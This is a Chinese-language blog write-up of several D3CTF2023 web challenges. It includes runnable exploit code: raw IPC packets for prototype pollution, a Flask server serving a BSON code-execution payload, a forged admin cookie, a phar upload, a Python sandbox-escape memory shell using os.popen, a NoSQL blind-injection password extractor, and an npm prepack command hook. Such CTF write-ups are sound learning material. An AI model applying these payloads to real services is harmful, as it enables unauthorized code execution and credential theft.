D3CTF2023


D3CTF2023 部分Web writeup

做了几个简单的web,大家都好猛,阿巴阿巴

egg4shell

本地也许是通了,太菜了

在不看hint的时候,能解到原型链污染

首先docker先换个源,本地搭环境调试,其实不太懂为什么出题人不直接用node的image,可能是方便调试?怕因为环境被坑没改

FROM ubuntu:20.04

ARG DEBIAN_FRONTEND=noninteractive
RUN sed -i 's@//.*archive.ubuntu.com@//mirrors.ustc.edu.cn@g' /etc/apt/sources.list && \
    apt-get update && apt-get install -y libcurl4-openssl-dev curl npm && \
    curl -sL https://deb.nodesource.com/setup_16.x | bash - && \
    apt-get install -y nodejs

COPY src /app
COPY run.sh /
COPY readflag /
COPY flag /
RUN chmod 400 /flag && chmod +x run.sh readflag && chmod +s /readflag && \
    cd /app && npm install --build-from-source --registry=http://registry.npmmirror.com 

ENTRYPOINT [ "/run.sh" ]

建议再改一下run.sh,方便动调,vscode进docker后,启动JavaScript调试终端手动启动

DEBUG=* `npm bin`/egg-scripts start --workers=1 --title=egg-server-egg4shell 

代码审计

此处可以ssrf,支持file,http,gopher等协议

此处大概率存在原型链污染

探索

利用ssrf

因为有ssrf漏洞,所以大概率是打内网服务,使用netstat等命令发现,egg会开启一个clusterPort用于进程间通信

https://www.eggjs.org/zh-CN/core/cluster-and-ipc

https://www.eggjs.org/zh-CN/advanced/cluster-client

基本上是这个解题方向,在docker内抓包后发现,过滤clusterPort,存在这样的通信流量

那么有一个猜想就是,根据前面的ssrf发gopher包,发给clusterPort,可能可以直接反序列化,也可能调用函数方法等RCE

直接发heartbeat这样的流量没有回显,在杀死一个worker后抓包,发现需要先注册再订阅才能收到订阅消息

这里演示注册和订阅的流量

import socket

HOST = '127.0.0.1'
PORT = 46569

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4f\x00\x00\xea\x60\x00\x00\x00\x33\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x63\x68\x61\x6e\x6e\x65\x6c\x22\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x4e\x61\x6d\x65\x22\x3a\x22\x57\x61\x74\x63\x68\x65\x72\x22\x7d"""
    s.sendall(cmds)
    data = s.recv(1024)
    print('Rcv', repr(data))
    cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x50\x00\x00\xea\x60\x00\x00\x00\x53\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x73\x75\x62\x73\x63\x72\x69\x62\x65\x22\x2c\x22\x6b\x65\x79\x22\x3a\x22\x24\x24\x69\x6e\x6e\x65\x72\x24\x24\x5f\x5f\x5c\x22\x2f\x74\x6d\x70\x2f\x73\x6e\x61\x70\x73\x68\x6f\x74\x73\x2f\x5c\x22\x22\x2c\x22\x72\x65\x67\x22\x3a\x22\x2f\x74\x6d\x70\x2f\x73\x6e\x61\x70\x73\x68\x6f\x74\x73\x2f\x22\x7d"""
    s.sendall(cmds)
    data = s.recv(1024)
    print('Rcv', repr(data))

效果如下

审计cluster-client

egg的进程间通信基于cluster-client库,序列化和反序列化使用serialize-json库,不存在直接反序列化rce的可能性

最主要的是下面这两个文件

/app/node_modules/cluster-client/lib/leader.js

/app/node_modules/cluster-client/lib/follower.js

在审计时发现了有意思的invoke方法,在这里应该是可以调用其他方法

发现好像只能调用this._realClient中存在的方法,就算结合原型链污染,也不大可能能污染上函数

停滞

到这里基本上就停住了,因为不知道方向,该污染什么东西能导致rce了

直到最后几个小时出题人给了hint

https://github.com/advisories/GHSA-prm5-8g2m-24gg

实际上该洞发生在bson库中,在项目中全局搜,确实发现使用了bson

https://paper.seebug.org/2059/

https://hpdoger.cn/2022/12/19/parse-server%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20c34843006f3741189cc953e8b35b13e9/

具体漏洞看上面两个文章就够了

疯狂debug

网上查阅文章后,大概思路如下,使用gopher向watcher发包,原型链污染evalFunctions,访问恶意server,响应头中包含_bsontypecode字段,在/query路由查询结果时触发漏洞,命令执行

原型链污染

首先要构造通信流量,使用原生库生成,demo如下

const Packet = require('/app/node_modules/cluster-client/lib/protocol/packet');
const S_JSON = require('/app/node_modules/serialize-json/lib/index.js');
const Constant = require('/app/node_modules/cluster-client/lib/const.js');
const aa = new Packet({
    id: 337,
    type: Constant.REQUEST,
    connObj: { type: 'invoke', method: "_onChange", argLength: 1 },
    timeout: 60000,
    data: S_JSON.encode({
        aaaaaaa: "aaaaaaa",
        path: '/tmp/snapshots/__proto__/evalFunctions',
        remove: false,
        isDirectory: false,
        isFile: true,
        event: true,
    })
}).encode();

invoke函数调用_onChange可以触发this.app.watcher.watch

path要包括/tmp/snapshots/

前四个字节实际上是长度,当时懒得算了,直接多输几个aaa吞掉不影响

污染成功

demo

import socket

HOST = '127.0.0.1'
PORT = 43319

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    cmds = b"""\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x4f\x00\x00\xea\x60\x00\x00\x00\x33\x00\x00\x00\x00\x7b\x22\x74\x79\x70\x65\x22\x3a\x22\x72\x65\x67\x69\x73\x74\x65\x72\x5f\x63\x68\x61\x6e\x6e\x65\x6c\x22\x2c\x22\x63\x68\x61\x6e\x6e\x65\x6c\x4e\x61\x6d\x65\x22\x3a\x22\x57\x61\x74\x63\x68\x65\x72\x22\x7d"""
    s.sendall(cmds)
    data = s.recv(1024)
    print('Rcv', repr(data))
    cmds = bytes.fromhex("""0100000000000000000001510000ea60000000340000007c7b2274797065223a22696e766f6b65222c226d6574686f64223a225f6f6e4368616e6765222c226172674c656e677468223a317d616161616161617c616161616161617c706174687c2f746d702f736e617073686f74732f5f5f70726f746f5f5f2f6576616c46756e6374696f6e737c72656d6f76657c69734469726563746f72797c697346696c657c6576656e745e5e5e5e24307c317c327c337c347c2d327c357c2d327c367c2d317c377c2d315d""")
    s.sendall(cmds)
    data = s.recv(1024)
    print('Rcv', repr(data))

插入恶意数据

这个比较简单,只要在写入数据库中的数据插入两个变量_bsontypecode,这里起个flask

from flask import Flask, request, make_response

app = Flask(__name__)


@app.route('/', methods=['GET', 'POST'])
def challenge_3():
    response = make_response("123456")
    response.headers['_bsontype'] = 'Code'
    response.headers['code'] = """1;require('child_process').execSync('touch /tmp/123.txt');delete Object.prototype.evalFunctions"""
    return response


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=12332, debug=True)

触发bson命令执行

理想情况下,访问/query路由,恶意代码从数据库中传出,到egg容器中的bson库中代码执行

污染后服务器就会崩掉,访问/query路由会报错

具体报错是

field 'OperationSessionInfo.lsid.evalFunctions' is an unknown field

大概是因为数据库会和egg存在这样的通信流量

根据这个师傅的说法是需要条件竞争

https://hpdoger.cn/2022/12/19/parse-server%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20c34843006f3741189cc953e8b35b13e9/

因为这个比较麻烦,打一次崩一次,重启服务很麻烦,本地打了五六次才成功一次,最后几分钟远程也来不及打了

未解决的问题

本地用socket打得通,用gopher就有点小问题

d3dolphin

访问admin.php进入后台
审计代码后发现,is_signin 函数有缺陷,可以伪造登录signin_token

$signin_token = data_auth_sign($user['username'].$user['id'].$user['last_login_time']);

首页log.txt给了admin用户的最后登录时间,要减八小时改成utc时间
sha1(“0=admin1” + “1301984359”)

Cookie: dolphin_uid=1; dolphin_signin_token=ab5f486a24426d9158c99507da45ae3bac476dd6

带着这样的cookie访问页面,session就会被标记为登录状态
根据之前rce文章,找类似入口
在启用门户模块后,找到添加客服位置,插入函数名和参数


dolphin对函数名称也有一些过滤

phpinfo disable_function如下

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_waitpid,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv,putenv

这里只有只能指定一个函数名,一个参数,可以用tp的反序列化链写马

说个坑,burpsuite在拦截窗口更改字符串可能导致字不可见字符变化,痛失一血

上传的接口稍微看看代码绕过图片检查就行

import requests

burp0_url = "http://xxx/admin.php/admin/attachment/upload?dir=./&module=admin"
burp0_cookies = {"PHPSESSID": "jg17osu5751b82gtri8o4mrpgj"}
data = {
    "file": ("phar.zip", open(r'phar.phar', "rb")),
    "size": "471",
    "name": "phar.zip",
    "type": "image/gif",
}
requests.post(burp0_url, cookies=burp0_cookies, files=data)

后面一把梭/readflag

EscapePlan

int(False)==0
~int(False)==-1
-~int(False)==1

用编码绕过函数名
“𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙”
从request变量传递payload
正好最近研究了flask的内存马,写完直接执行命令

import base64
import requests

exp = '(msg:=𝐬𝐭𝐫(request))and(𝐞𝐯𝐚𝐥(msg[int(True)'+"-~int(False)"*37+':int(True)'+"-~int(False)"*166+']))'
r = requests.post("""http://xxx/?app.before_request_funcs.setdefault(None,list()).append(lambda:__import__('os').popen(request.args.get('shell','whoami')).read())""", data={"cmd": base64.b64encode(exp.encode())})
print(r.text)

d3node

进去f12看见hint1
根据hint1可以知道存在nosql注入,过滤了一些,但可以用正则

{"username": {"$regex": "admin"}, "password": {"$regex": "" }}

进去看前端源码 信息搜集发现一些路由和hint2

其读取文件是直接将传入的filename放进去的,存在任意文件读取

/dashboardIndex/ShowExampleFile?filename=/etc/passwd

尝试读 app.js 发现回显 hacker
这里可以利用readFileSync 的特性来绕,传递一个满足条件的对象,将app.js进行url编码绕过(相关分析网上都能找到,这里不多做解释)
app.js

/dashboardIndex/ShowExampleFile?filename[href]=aa&filename[origin]=aa&filename[protocol]=file:&filename[hostname]=&filename[pathname]=/proc/self/cwd/%2561%2570%2570%252e%256a%2573

根据app.js可还原出源码,审计代码发现会执行 /dashboardIndex/PackDependencies 路由会执行 npm pack
prepack可以在pack前执行命令

{
    "name": "d3ctf2023",
    "version": "1.0.0",
    "dependencies": {
...
    },
    "scripts": {
      "prepack": "/readflag >> /tmp/123.txt"
    }
  }

前面nosql盲注注出admin密码登录

import requests

remoteHost = "xxxx"
burp0_url = f"http://{remoteHost}/user/LoginIndex"
dict_list = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_0123456789"
password = ""
for i in range(50):
    for i in dict_list:
        burp0_json={"password": {"$regex": f"^{password + i}.*"}, "username": {"$regex": "admin"}}
        res = requests.post(burp0_url, json=burp0_json,  allow_redirects=False)
        if res.status_code == 302:
            password += i
            print(password)
            break
        

admin/dob2xdriaqpytdyh6jo3

然后依次按接口发包即可
/dashboardIndex/SetDependencies
/dashboardIndex/PackDependencies
/dashboardIndex/ShowExampleFile?filename=/tmp/123.txt


文章作者: Carrot2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Carrot2 !
评论
  目录